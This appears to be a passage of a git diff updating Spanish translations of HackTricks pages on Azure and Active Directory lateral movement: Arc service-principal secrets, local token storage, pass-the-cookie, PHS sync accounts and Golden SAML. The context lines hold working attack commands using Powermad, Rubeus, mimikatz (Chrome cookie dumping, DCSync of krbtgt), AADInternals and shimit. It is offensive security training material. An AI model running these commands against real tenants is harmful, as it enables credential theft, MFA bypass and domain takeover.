the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -30,7 +30,7 @@ Tenemos las siguientes condiciones: 2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory. 3. Hemos descubierto un recurso compartido de red que contiene el directorio AzureArcDeploy. -Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o varias otras configuraciones incorrectas. +Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o diversas otras configuraciones incorrectas. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Al tener el TGT de nuestra cuenta de computadora almacenado en memoria, podemos usar el siguiente script para descifrar el secreto del principal del servicio. +Al tener el TGT para nuestra cuenta de computadora almacenado en memoria, podemos usar el siguiente script para descifrar el secreto del principal del servicio. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -54,7 +54,7 @@ $ebs ``` Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se almacena en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos usar Azure CLI para autenticarnos como el service principal comprometido. +En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se almacena en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos usar Azure CLI para autenticar como el service principal comprometido. ## Referencias diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 0761f4db9..683fef3c5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,4 +1,4 @@ -# Az - Local Cloud Credentials +# Az - Credenciales de Nube Local {{#include ../../../banners/hacktricks-training.md}} @@ -10,17 +10,17 @@ Los tokens y datos sensibles se almacenan localmente por Azure CLI, lo que plant 1. **Tokens de Acceso**: Almacenados en texto plano dentro de `accessTokens.json` ubicado en `C:\Users\\.Azure`. 2. **Información de Suscripción**: `azureProfile.json`, en el mismo directorio, contiene detalles de la suscripción. -3. **Archivos de Registro**: La carpeta `ErrorRecords` dentro de `.azure` puede contener registros con credenciales expuestas, tales como: +3. **Archivos de Registro**: La carpeta `ErrorRecords` dentro de `.azure` podría contener registros con credenciales expuestas, tales como: - Comandos ejecutados con credenciales incrustadas. -- URLs accedidas utilizando tokens, que pueden revelar información sensible. +- URLs accedidas usando tokens, que podrían revelar información sensible. ### Azure PowerShell Azure PowerShell también almacena tokens y datos sensibles, que pueden ser accedidos localmente: 1. **Tokens de Acceso**: `TokenCache.dat`, ubicado en `C:\Users\\.Azure`, almacena tokens de acceso en texto plano. -2. **Secretos de Principales de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`. -3. **Función de Guardado de Tokens**: Los usuarios tienen la capacidad de persistir tokens utilizando el comando `Save-AzContext`, que debe usarse con precaución para prevenir accesos no autorizados. +2. **Secretos de Principal de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`. +3. **Función de Guardado de Tokens**: Los usuarios tienen la capacidad de persistir tokens usando el comando `Save-AzContext`, que debe usarse con precaución para prevenir accesos no autorizados. ## Herramientas Automáticas para encontrarlos @@ -33,7 +33,7 @@ Considerando el almacenamiento de datos sensibles en texto plano, es crucial ase - Limitación de derechos de acceso a estos archivos. - Monitoreo y auditoría regular de estos directorios para detectar accesos no autorizados o cambios inesperados. -- Empleo de cifrado para archivos sensibles cuando sea posible. +- Empleo de cifrado para archivos sensibles donde sea posible. - Educación a los usuarios sobre los riesgos y las mejores prácticas para manejar dicha información sensible. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index a5a0c8f38..ef0e54fc0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## ¿Por qué Cookies? -Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión se puede usar para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse. +Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión puede ser utilizada para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse. Puedes ver dónde están **ubicadas las cookies del navegador** en: @@ -26,7 +26,7 @@ mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrom ``` Para Azure, nos importan las cookies de autenticación, incluyendo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** y **`ESTSAUTHLIGHT`**. Estas están presentes porque el usuario ha estado activo en Azure recientemente. -Simplemente navega a login.microsoftonline.com y agrega la cookie **`ESTSAUTHPERSISTENT`** (generada por la opción “Mantener sesión iniciada”) o **`ESTSAUTH`**. Y estarás autenticado. +Simplemente navega a login.microsoftonline.com y añade la cookie **`ESTSAUTHPERSISTENT`** (generada por la opción “Mantener sesión iniciada”) o **`ESTSAUTH`**. Y estarás autenticado. ## Referencias diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 1cf023b43..223147788 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -1,4 +1,4 @@ -# Az - Primary Refresh Token (PRT) +# Az - Token de Actualización Primario (PRT) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index ad94a71c5..762986f44 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,7 +4,7 @@ ## **Información Básica** -Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) pueden **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podría otorgarte acceso a varios recursos de la víctima en la nube eludiendo MFA. +Como se explicó en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) podrían **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podrías obtener acceso a varios recursos de la víctima en la nube eludiendo MFA. Pasos: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index d02cb4343..9b22ffaed 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -24,9 +24,9 @@ Windows puede entonces **intercambiar este TGT parcial por un TGT completo** sol Como podría haber servicios que no admiten autenticación kerberos sino NTLM, es posible solicitar un **TGT parcial firmado utilizando una clave secundaria `krbtgt`** incluyendo el **campo `KERB-KEY-LIST-REQ`** en la parte **PADATA** de la solicitud y luego obtener un TGT completo firmado con la clave primaria `krbtgt` **incluyendo el hash NT en la respuesta**. -## Abusando de la Confianza de Cloud Kerberos para obtener Administrador de Dominio +## Abusando de la Confianza de Kerberos en la Nube para obtener Administrador de Dominio -Cuando AzureAD genera un **TGT parcial**, lo hará utilizando los detalles que tiene sobre el usuario. Por lo tanto, si un Administrador Global pudiera modificar datos como el **identificador de seguridad y el nombre del usuario en AzureAD**, al solicitar un TGT para ese usuario, el **identificador de seguridad sería uno diferente**. +Cuando AzureAD genera un **TGT parcial**, utilizará los detalles que tiene sobre el usuario. Por lo tanto, si un Administrador Global pudiera modificar datos como el **identificador de seguridad y el nombre del usuario en AzureAD**, al solicitar un TGT para ese usuario, el **identificador de seguridad sería uno diferente**. No es posible hacer eso a través de Microsoft Graph o Azure AD Graph, pero es posible utilizar la **API que utiliza Active Directory Connect** para crear y actualizar usuarios sincronizados, que pueden ser utilizados por los Administradores Globales para **modificar el nombre SAM y el SID de cualquier usuario híbrido**, y luego, si nos autenticamos, obtenemos un TGT parcial que contiene el SID modificado. @@ -39,11 +39,11 @@ El éxito del ataque y la obtención de privilegios de Administrador de Dominio - La capacidad de alterar cuentas a través de la API de Sincronización es crucial. Esto se puede lograr teniendo el rol de Administrador Global o poseyendo una cuenta de sincronización de AD Connect. Alternativamente, el rol de Administrador de Identidad Híbrida sería suficiente, ya que otorga la capacidad de gestionar AD Connect y establecer nuevas cuentas de sincronización. - La presencia de una **cuenta híbrida** es esencial. Esta cuenta debe ser susceptible de modificación con los detalles de la cuenta de la víctima y también debe ser accesible para la autenticación. - La identificación de una **cuenta de víctima objetivo** dentro de Active Directory es una necesidad. Aunque el ataque se puede ejecutar en cualquier cuenta ya sincronizada, el inquilino de Azure AD no debe haber replicado identificadores de seguridad locales, lo que requiere la modificación de una cuenta no sincronizada para obtener el ticket. -- Además, esta cuenta debe poseer privilegios equivalentes a administrador de dominio, pero no debe ser miembro de grupos típicos de administradores de AD para evitar la generación de TGTs inválidos por el RODC de AzureAD. -- El objetivo más adecuado es la **cuenta de Active Directory utilizada por el servicio de sincronización de AD Connect**. Esta cuenta no está sincronizada con Azure AD, dejando su SID como un objetivo viable, y tiene inherentemente privilegios equivalentes a Administrador de Dominio debido a su papel en la sincronización de hashes de contraseñas (suponiendo que la Sincronización de Hash de Contraseña esté activa). Para dominios con instalación expresa, esta cuenta está prefijada con **MSOL\_**. Para otros casos, la cuenta se puede identificar enumerando todas las cuentas dotadas de privilegios de Replicación de Directorio en el objeto de dominio. +- Además, esta cuenta debe poseer privilegios equivalentes a los de administrador de dominio, pero no debe ser miembro de grupos típicos de administradores de AD para evitar la generación de TGT inválidos por el RODC de AzureAD. +- El objetivo más adecuado es la **cuenta de Active Directory utilizada por el servicio de sincronización de AD Connect**. Esta cuenta no está sincronizada con Azure AD, dejando su SID como un objetivo viable, y tiene inherentemente privilegios equivalentes a los de Administrador de Dominio debido a su papel en la sincronización de hashes de contraseñas (suponiendo que la Sincronización de Hash de Contraseña esté activa). Para dominios con instalación expresa, esta cuenta se prefija con **MSOL\_**. Para otros casos, la cuenta se puede identificar enumerando todas las cuentas dotadas de privilegios de Replicación de Directorio en el objeto de dominio. ### El ataque completo -Consulte el post original: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) +Consúltalo en la publicación original: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 6732ab056..d59b690bc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,9 +1,9 @@ -# Az - Default Applications +# Az - Aplicaciones Predeterminadas {{#include ../../../../banners/hacktricks-training.md}} -**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) +**Ver la técnica en:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) y [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -La publicación del blog discute una vulnerabilidad de escalada de privilegios en Azure AD, que permite a los administradores de aplicaciones o cuentas de sincronización en las instalaciones comprometidas escalar privilegios al asignar credenciales a aplicaciones. La vulnerabilidad, que proviene del comportamiento "por diseño" del manejo de aplicaciones y principales de servicio de Azure AD, afecta notablemente a las aplicaciones predeterminadas de Office 365. Aunque se ha informado, Microsoft no considera el problema como una vulnerabilidad debido a la documentación del comportamiento de asignación de derechos de administrador. La publicación proporciona información técnica detallada y aconseja revisiones regulares de las credenciales de los principales de servicio en entornos de Azure AD. Para obtener información más detallada, puede visitar la publicación original del blog. +La publicación del blog discute una vulnerabilidad de escalada de privilegios en Azure AD, que permite a los administradores de aplicaciones o cuentas de sincronización en las instalaciones comprometidas escalar privilegios al asignar credenciales a aplicaciones. La vulnerabilidad, que proviene del comportamiento "por diseño" del manejo de aplicaciones y principales de servicio de Azure AD, afecta notablemente a las aplicaciones predeterminadas de Office 365. Aunque se ha informado, Microsoft no considera el problema como una vulnerabilidad debido a la documentación del comportamiento de asignación de derechos de administrador. La publicación proporciona información técnica detallada y aconseja revisiones regulares de las credenciales de los principales de servicio en entornos de Azure AD. Para más información detallada, puedes visitar la publicación original del blog. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index ae45e5a3c..3c12b2bc6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -8,11 +8,11 @@ Para sincronizar un nuevo usuario **de AzureAD al AD on-prem** estos son los req - El **usuario de AzureAD** necesita tener una dirección proxy (un **buzón**) - No se requiere licencia -- No debe **estar ya sincronizado** +- No **debe estar ya sincronizado** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -Cuando se encuentra un usuario como estos en AzureAD, para **acceder desde el AD local** solo necesitas **crear una nueva cuenta** con el **proxyAddress** el correo electrónico SMTP. +Cuando se encuentra un usuario como estos en AzureAD, para **acceder a él desde el AD local** solo necesitas **crear una nueva cuenta** con el **proxyAddress** el correo electrónico SMTP. Automáticamente, este usuario será **sincronizado desde AzureAD al usuario del AD local**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index bfd5c4cc8..d6899d37d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -1,4 +1,4 @@ -# Az - Federation +# Az - Federación {{#include ../../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ [De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos. -Puedes **federar tu entorno** local **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el entorno local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible. +Puedes **federar tu entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
@@ -24,10 +24,10 @@ En cualquier configuración de federación hay tres partes:
-1. Inicialmente, una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere) es accedida por un usuario. Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. +1. Inicialmente, un usuario accede a una aplicación (Proveedor de Servicios o SP, como la consola de AWS o el cliente web de vSphere). Este paso podría ser omitido, llevando al cliente directamente al IdP (Proveedor de Identidad) dependiendo de la implementación específica. 2. Posteriormente, el SP identifica el IdP apropiado (por ejemplo, AD FS, Okta) para la autenticación del usuario. Luego elabora una AuthnRequest SAML (Security Assertion Markup Language) y redirige al cliente al IdP elegido. -3. El IdP toma el control, autenticando al usuario. Después de la autenticación, se formula un SAMLResponse por el IdP y se reenvía al SP a través del usuario. -4. Finalmente, el SP evalúa el SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio. +3. El IdP toma el control, autenticando al usuario. Después de la autenticación, una SAMLResponse es formulada por el IdP y enviada al SP a través del usuario. +4. Finalmente, el SP evalúa la SAMLResponse. Si se valida con éxito, lo que implica una relación de confianza con el IdP, se concede acceso al usuario. Esto marca la finalización del proceso de inicio de sesión, permitiendo al usuario utilizar el servicio. **Si deseas aprender más sobre la autenticación SAML y ataques comunes, ve a:** @@ -35,26 +35,26 @@ En cualquier configuración de federación hay tres partes: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -## Pivoting +## Pivotar - AD FS es un modelo de identidad basado en reclamos. - "..los reclamos son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamos ubicadas en cualquier parte de Internet." - Los reclamos para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP. - Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD. -- El ImmutableID se almacena en local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. +- El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario. - Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Ataque Golden SAML:** -- En ADFS, el SAML Response es firmado por un certificado de firma de token. -- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! +- En ADFS, la SAML Response es firmada por un certificado de firma de token. +- Si el certificado está comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD! - Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación. - El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet. - Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -El proceso donde un **Proveedor de Identidad (IdP)** produce un **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** puede estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad del SAMLResponse, asegurando que fue emitido por un IdP de confianza. +El proceso donde un **Proveedor de Identidad (IdP)** produce una **SAMLResponse** para autorizar el inicio de sesión del usuario es fundamental. Dependiendo de la implementación específica del IdP, la **respuesta** podría estar **firmada** o **encriptada** utilizando la **clave privada del IdP**. Este procedimiento permite al **Proveedor de Servicios (SP)** confirmar la autenticidad de la SAMLResponse, asegurando que fue emitida por un IdP de confianza. Se puede trazar un paralelo con el [ataque de ticket dorado](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), donde la clave que autentica la identidad y permisos del usuario (KRBTGT para tickets dorados, clave privada de firma de token para Golden SAML) puede ser manipulada para **forjar un objeto de autenticación** (TGT o SAMLResponse). Esto permite la suplantación de cualquier usuario, otorgando acceso no autorizado al SP. @@ -67,9 +67,9 @@ Los Golden SAML ofrecen ciertas ventajas: #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite que un servicio de dominio comparta identidades de usuario con otros proveedores de servicios dentro de una federación. +[Active Directory Federation Services (AD FS)]() es un servicio de Microsoft que facilita el **intercambio seguro de información de identidad** entre socios comerciales de confianza (federación). Esencialmente, permite a un servicio de dominio compartir identidades de usuario con otros proveedores de servicios dentro de una federación. -Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. +Con AWS confiando en el dominio comprometido (en una federación), esta vulnerabilidad puede ser explotada para potencialmente **adquirir cualquier permiso en el entorno de AWS**. El ataque requiere la **clave privada utilizada para firmar los objetos SAML**, similar a necesitar el KRBTGT en un ataque de ticket dorado. El acceso a la cuenta de usuario de AD FS es suficiente para obtener esta clave privada. Los requisitos para ejecutar un ataque Golden SAML incluyen: @@ -97,7 +97,7 @@ Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuari # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -Con toda la información, es posible olvidar una SAMLResponse válida como el usuario que deseas suplantar usando [**shimit**](https://github.com/cyberark/shimit)**:** +Con toda la información, es posible olvidar un SAMLResponse válido como el usuario que deseas suplantar usando [**shimit**](https://github.com/cyberark/shimit)**:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index c8c69ba15..3c21e2021 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -4,7 +4,7 @@ ## Información Básica -[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
@@ -17,13 +17,13 @@ La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por def Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**. -**PHS** es requerido para características como **Protección de Identidad** y Servicios de Dominio AAD. +**PHS** es necesario para características como **Protección de Identidad** y Servicios de Dominio AAD. ## Pivotando Cuando PHS está configurado, algunas **cuentas privilegiadas** se crean automáticamente: -- La cuenta **`MSOL_`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**. +- La cuenta **`MSOL_`** se crea automáticamente en AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**. - Se crea una cuenta **`Sync__installationID`** en Azure AD. Esta cuenta puede **restablecer la contraseña de CUALQUIER usuario** (sincronizado o solo en la nube) en Azure AD. Las contraseñas de las dos cuentas privilegiadas anteriores se **almacenan en un servidor SQL** en el servidor donde **Azure AD Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\ @@ -33,7 +33,7 @@ Es posible extraer la configuración de una de las tablas, siendo una de ellas e `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en el AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD. +La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD. Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg). @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Abusing MSOL\_* +### Abusando de MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -61,7 +61,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### Abusando de Sync\_\* -Comprometendo la cuenta **`Sync_*`** es posible **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales) +Comprometiendo la cuenta **`Sync_*`** es posible **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales) ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -96,9 +96,9 @@ También es posible volcar la contraseña de este usuario. > [!CAUTION] > Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc. -### SSO Sin Costuras +### Seamless SSO -Es posible usar SSO Sin Costuras con PHS, que es vulnerable a otros abusos. Revísalo en: +Es posible usar Seamless SSO con PHS, que es vulnerable a otros abusos. Revísalo en: {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 016ac971f..b1e7c1b91 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -En la sección del Estado SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**. +En la sección del estado SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**.
